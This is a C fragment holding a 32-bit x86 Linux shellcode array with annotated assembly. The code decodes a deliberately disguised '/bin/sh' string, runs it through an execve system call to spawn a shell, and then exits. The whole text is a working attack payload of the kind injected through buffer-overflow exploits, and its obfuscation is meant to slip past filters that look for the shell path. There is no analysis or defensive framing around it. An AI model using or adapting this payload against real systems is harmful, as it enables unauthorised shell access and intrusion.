char shellcode[]=
        "\xeb\x38"                      /* jmp 0x38              */
        "\x5e"                          /* popl %esi             */
        "\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
        "\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
        "\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
        "\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
        "\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
        "\x89\xf0"                      /* movl %esi,%eax        */
        "\x83\xc0\x08"                  /* addl $0x8,%eax        */
        "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\x89\xf3"                      /* movl %esi,%ebx        */
        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xdb"                      /* xorl %ebx,%ebx        */
        "\x89\xd8"                      /* movl %ebx,%eax        */
        "\x40"                          /* inc %eax              */
        "\xcd\x80"                      /* int $0x80             */
        "\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
        "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
                                        /* /bin/sh is disguised  */
